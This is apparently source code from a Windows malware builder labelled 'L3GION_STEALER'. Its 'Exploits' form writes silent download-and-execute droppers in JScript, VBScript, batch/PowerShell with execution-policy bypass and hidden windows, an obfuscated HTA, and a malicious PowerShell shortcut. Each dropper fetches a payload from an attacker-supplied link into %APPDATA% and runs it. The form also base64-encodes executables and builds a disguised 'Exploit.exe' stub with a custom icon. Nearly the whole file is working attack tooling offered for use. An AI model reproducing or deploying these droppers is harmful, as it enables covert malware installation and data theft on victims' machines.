using legion.NEWbuilder;
using legion.newbuilders;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace L3GION_STEALER
{
    public partial class Exploits : UserControl
    {
        public Exploits()
        {
            InitializeComponent();
        }

        private void label3_Click(object sender, EventArgs e)
        {

        }

        private void Exploits_Load(object sender, EventArgs e)
        {
            siticoneTextBox4.Hide();
            comboboxfirstxpoit.Text = "%APPDATA%";
                siticoneButton5.Hide();

        }

        private void siticoneRadioButton9_CheckedChanged(object sender, EventArgs e)
        {
            siticoneTextBox4.Show();


            siticoneButton5.Show();

        }

        private void siticoneButton5_Click(object sender, EventArgs e)
        {
            OpenFileDialog openFileDialog1 = new OpenFileDialog();
            openFileDialog1.DefaultExt = "exe";
            openFileDialog1.Filter = "exe files (*.exe)|*.exe";
            openFileDialog1.FilterIndex = 1;
            openFileDialog1.InitialDirectory = @".";
            openFileDialog1.Title = "Open File you want to enchode...";

            if (openFileDialog1.ShowDialog(this) == DialogResult.OK)
            {
                try { 
                siticoneTextBox4.Text = openFileDialog1.FileName;
                byte[] exeBytes = File.ReadAllBytes(siticoneTextBox4.Text);

                string b64String = Convert.ToBase64String(exeBytes);
                File.WriteAllText(siticoneTextBox4.Text + ".b64", b64String);
                Console.WriteLine("EXE file successfully converted to .b64 file.");
                Console.Beep();
                Process.Start("explorer.exe", "/select," + Path.GetDirectoryName(siticoneTextBox4.Text));
                }
                catch
                {
                    MessageBox.Show("An Error Occured Try Again!" , "Encoding file error" , MessageBoxButtons.OK ,MessageBoxIcon.Error);
                }
            }

          
        }

        private void siticoneRadioButton8_CheckedChanged(object sender, EventArgs e)
        {
            siticoneButton5.Hide();
        }

        private void siticoneRadioButton7_CheckedChanged(object sender, EventArgs e)
        {
            siticoneTextBox4.Hide();
                siticoneButton5.Hide();
        }

        private void siticoneRadioButton6_CheckedChanged(object sender, EventArgs e)
        {
            siticoneButton5.Hide();
        }

        private void siticoneButton2_Click(object sender, EventArgs e)
        {

            if (string.IsNullOrEmpty(directlinkexploit1.Text))
            {
                MessageBox.Show("Please Enter Payload Link..." , "ERROR!"  ,MessageBoxButtons.OK,MessageBoxIcon.Error);
            }
            else { 
            if (siticoneRadioButton5.Checked)
            {
                SaveFileDialog sfd = new SaveFileDialog();
                sfd.FileName = "Exploit_By_legion.js";
                sfd.Filter = "Javascript Files |* .js";
                sfd.Title = " JavaScript Exploit by legion";

                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    string path = sfd.FileName;
                    using (Stream s = File.Open(sfd.FileName, FileMode.CreateNew))
                    using (StreamWriter sw = new StreamWriter(s))
                    {

                        sw.Write(
                        $$""" 
var WshShell = WScript.CreateObject("WScript.Shell");
var foul = WshShell.ExpandEnvironmentStrings("{{comboboxfirstxpoit.Text}}");

function DfL(BURL, nameoffile) {
    try {
        var oStream = new ActiveXObject('ADODB.Stream')
    } catch (e) {
        WScript.Echo('not supported');
        WScript.Quit()
    }
    var oXMLHTTP = new ActiveXObject('MSXML2.XMLHTTP');
    oXMLHTTP.open('GET', BURL, false);
    oXMLHTTP.send();
    if (oXMLHTTP.Status == 200) {
        oStream.Open();
        oStream.Type = 1;
        oStream.Write(oXMLHTTP.ResponseBody);
        oStream.SaveToFile(nameoffile, 2);
        oStream.Close();
        oStream = null
    } else {
        WScript.Quit()
    }
    oXMLHTTP = null;
}

MyObject = new ActiveXObject("WScript.Shell")

function RunExe() {
    MyObject.Run(foul + "\\{{siticoneTextBox1.Text}}");
}



DfL('{{directlinkexploit1.Text}}', foul + '\\{{siticoneTextBox1.Text}}');
RunExe();
""");
                        MessageBox.Show("Saved in : " + path + "\n\n\nSilent Exploit Builder By legion");

                    }

                }
            }


            if (siticoneRadioButton3.Checked)
            {
                SaveFileDialog sfd = new SaveFileDialog();
                sfd.FileName = "Exploit_By_legion.vbs";
                sfd.Filter = "Vbs Files |* .vbs";
                sfd.Title = " Vbs Exploit by legion";

                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    string path = sfd.FileName;
                    using (Stream s = File.Open(sfd.FileName, FileMode.CreateNew))
                    using (StreamWriter sw = new StreamWriter(s))
                    {

                        sw.Write(
                        $$"""
WScript.Sleep  1000

path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("{{comboboxfirstxpoit.Text}}")
path = path & "\"
URL = "{{directlinkexploit1.Text}}"
filename = "{{siticoneTextBox1.Text}}" 
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", URL, False
xHttp.Send

with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile path &  filename, 2 '//overwrite
end with

file = path & filename
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run  chr(34) & file & chr(34)
""");





                    }

                    MessageBox.Show("Saved in : " + path + "\n\n\nSilent Exploit Builder By legion");

                }


            }


            if (siticoneRadioButton2.Checked)
            {
                SaveFileDialog sfd = new SaveFileDialog();
                sfd.FileName = "Exploit_By_legion.cmd";
                sfd.Filter = "Command Files |* .cmd";
                sfd.Title = " Batch Exploit by legion";

                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    string path = sfd.FileName;
                    using (Stream s = File.Open(sfd.FileName, FileMode.CreateNew))
                    using (StreamWriter sw = new StreamWriter(s))
                    {          //PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('www.site.com/server.exe','%TEMP%\Test.exe');Start-Process '%TEMP%\Test.exe'
                        sw.Write
                        ($$"""
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('{{directlinkexploit1.Text}}','{{comboboxfirstxpoit.Text}}\{{siticoneTextBox1.Text}}');Start-Process '{{comboboxfirstxpoit.Text}}\{{siticoneTextBox1.Text}}'
""");
                    }
                    MessageBox.Show("Saved in : " + path + "\n\n\nSilent Exploit Builder By legion");

                }


            }

            if (siticoneRadioButton1.Checked)
            {
                SaveFileDialog sfd = new SaveFileDialog();
                sfd.FileName = "Exploit_By_legion.ps1";
                sfd.Filter = "ps1 Files |* .ps1";
                sfd.Title = " PowerShell Exploit by legion";

                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    string path = sfd.FileName;
                    using (Stream s = File.Open(sfd.FileName, FileMode.CreateNew))
                    using (StreamWriter sw = new StreamWriter(s))
                    {          //PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('" + textBox1.Text + "','%TEMP%\\" + textBox2.Text + "');Start-Process '%TEMP%\\" + textBox2.Text+"'");
                        sw.Write
                        ($$"""
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('{{directlinkexploit1.Text}}','{{comboboxfirstxpoit.Text}}\{{siticoneTextBox1.Text}}');Start-Process '{{comboboxfirstxpoit.Text}}\{{siticoneTextBox1.Text}}'
""");

                    }//end
                    MessageBox.Show("Saved in : " + path + "\n\n\nSilent Exploit Builder By legion");

                }


            }

            if (siticoneRadioButton4.Checked)
            {
                    




                SaveFileDialog sfd = new SaveFileDialog();
                sfd.FileName = "Exploit_By_legion.hta";
                sfd.Filter = "hta Files |* .hta";
                sfd.Title = " hta Exploit by legion";

                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    string path = sfd.FileName;
                    using (Stream s = File.Open(sfd.FileName, FileMode.CreateNew))
                    using (StreamWriter sw = new StreamWriter(s))
                    {
                        sw.Write($$"""
<html>
<body>
<script type="text/vbscript">
Function XPSnVsaC(CKAIiNSt)
Dim hFidviJl, MBQyIDBd
For hFidviJl = 1 To LenB(CKAIiNSt)
MBQyIDBd = MBQyIDBd & Chr(AscB(MidB(CKAIiNSt, hFidviJl, 1)))
Next
XPSnVsaC = MBQyIDBd
End Function
Sub FRHjzKQG(kNoDMfHy, PIWYZAzq)
Dim uDEtmVri: Set uDEtmVri = CreateObject("MSXML2.ServerXMLHTTP")
Dim ZzmOzqiZ: ZzmOzqiZ = "GET"
uDEtmVri.Open ZzmOzqiZ, kNoDMfHy, False
uDEtmVri.Send
Dim SPczpxxD, xLKUCSpv
Set xLKUCSpv = CreateObject("Scripting.FileSystemObject").OpenTextFile(PIWYZAzq, 2, True)
xLKUCSpv.WriteLine (XPSnVsaC(uDEtmVri.ResponseBody))
xLKUCSpv.Close()
Set uDEtmVri = Nothing
Set xLKUCSpv = Nothing
End Sub
Dim cGspPmhm: cGspPmhm = CreateObject("WScript.Shell").ExpandEnvironmentStrings("{{comboboxfirstxpoit.Text}}") & "\{{siticoneTextBox1.Text}}"
Dim IBaJcHYe: IBaJcHYe = "{{directlinkexploit1.Text}}"
FRHjzKQG IBaJcHYe, cGspPmhm
CreateObject("WScript.Shell").Run Chr(34) & cGspPmhm & Chr(34)


""");
                        MessageBox.Show("Saved in : " + path + "\n\n\nSilent Exploit Builder By legion");
                    }


                }


                }
            }

        }

        private void siticoneRadioButton1_CheckedChanged(object sender, EventArgs e)
        {


             
        }

        private void comboboxfirstxpoit_SelectedIndexChanged(object sender, EventArgs e)
        {

        }

        private void siticoneButton1_Click(object sender, EventArgs e)
        {

        }

        private void siticoneTextBox1_TextChanged(object sender, EventArgs e)
        {

        }

        private void siticoneRadioButton2_CheckedChanged(object sender, EventArgs e)
        {

        }

        private void siticoneRadioButton3_CheckedChanged(object sender, EventArgs e)
        {

        }

        private void siticoneRadioButton4_CheckedChanged(object sender, EventArgs e)
        {

        }

        private void siticoneRadioButton5_CheckedChanged(object sender, EventArgs e)
        {

        }

        private void siticoneButton6_Click(object sender, EventArgs e)
        {

            if (string.IsNullOrEmpty(seconddirectlinkexploit.Text))
            {
                MessageBox.Show("Please Enter Payload link...", "Enter Payload Link", MessageBoxButtons.OK, MessageBoxIcon.Error);

            }
            else {
                if (inkmanradio.Checked)
                {
                   
                    
                        try
                        {

                            //PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('" + textBox1.Text + "','%TEMP%\\" + textBox2.Text + "');Start-Process '%TEMP%\\" + textBox2.Text+"'");

                            string exp = Console.ReadLine() + "Exploit_By_legion.lnk";
                            string target = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
                            string arguments = " -NoProfile -ExecutionPolicy Bypass -command `Invoke-WebRequest -Uri " + seconddirectlinkexploit.Text + " -OutFile " + siticoneTextBox3.Text + ";Start-Process " + siticoneTextBox3.Text;
                            IWshRuntimeLibrary.WshShell wshShell = new IWshRuntimeLibrary.WshShell();
                            IWshRuntimeLibrary.IWshShortcut shortcutFile = (IWshRuntimeLibrary.IWshShortcut)wshShell.CreateShortcut(exp);
                            shortcutFile.TargetPath = target;
                            shortcutFile.Arguments = arguments;
                            shortcutFile.Hotkey = "Ctrl+A";
                            shortcutFile.WindowStyle = 1;
                            shortcutFile.Save();
                            string shortcutFilePath = Path.Combine(Directory.GetCurrentDirectory(), exp);
                            Process.Start("explorer.exe", "/select," + shortcutFilePath);
                        }
                        catch
                        {

                        }
                    }

                
            }
        }

        private void siticoneGroupBox2_Click(object sender, EventArgs e)
        {

        }

        public void Refresh()
        {
            NewSettings.payloadlink = siticoneTextBox2.Text;

        }

        private void siticoneButton4_Click(object sender, EventArgs e)
        {
            Refresh();

            if (string.IsNullOrEmpty(siticoneTextBox2.Text))
            {
                MessageBox.Show("Please Enter Direct Link", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else
            {
                using (var saveFileDialog = new SaveFileDialog())
                {
                    saveFileDialog.Filter = "Executable File (*.exe)|*.exe";
                    saveFileDialog.Title = "Save";
                    saveFileDialog.FileName = "Exploit.exe";
                    saveFileDialog.ValidateNames = true;

                    if (saveFileDialog.ShowDialog() == DialogResult.OK)
                    {


                        var builder = new NewBuilder();
                        builder.Build(saveFileDialog.FileName);


                    }
                }
            }
           
        }

        private void siticoneButton1_Click_1(object sender, EventArgs e)
        {
            //button2
            var tag = siticoneButton1.Tag as string;
            if (tag == "NoIcon")
            {
                using (var openFileDialog = new OpenFileDialog())
                {
                    openFileDialog.Filter = "Icon File (*.ico)|*.ico";
                    openFileDialog.Title = "Select Icon File";
                    openFileDialog.ValidateNames = true;
                    openFileDialog.CheckFileExists = true;
                    openFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);

                    if (openFileDialog.ShowDialog() == DialogResult.OK)
                    {
                        if (File.Exists(openFileDialog.FileName))
                        {
                            siticoneButton1.Text = null;
                            legion.newbuilders.NewSettings.IconPath = openFileDialog.FileName;
                            siticoneButton1.Image = new Bitmap(openFileDialog.FileName);
                            
                            siticoneButton1.Tag = "Icon";
                            //   button2.Text = "Unselect Icon";
                        }
                    }
                }
            }
            else
            {
                siticoneButton1.Tag = "NoIcon";
              legion.newbuilders.NewSettings.IconPath = string.Empty;
                siticoneButton1.Text = "Icon";
                siticoneButton1.Image = null;
            }
        }
        
        private void siticoneTextBox2_TextChanged(object sender, EventArgs e)
        {
            
        }
    }
}
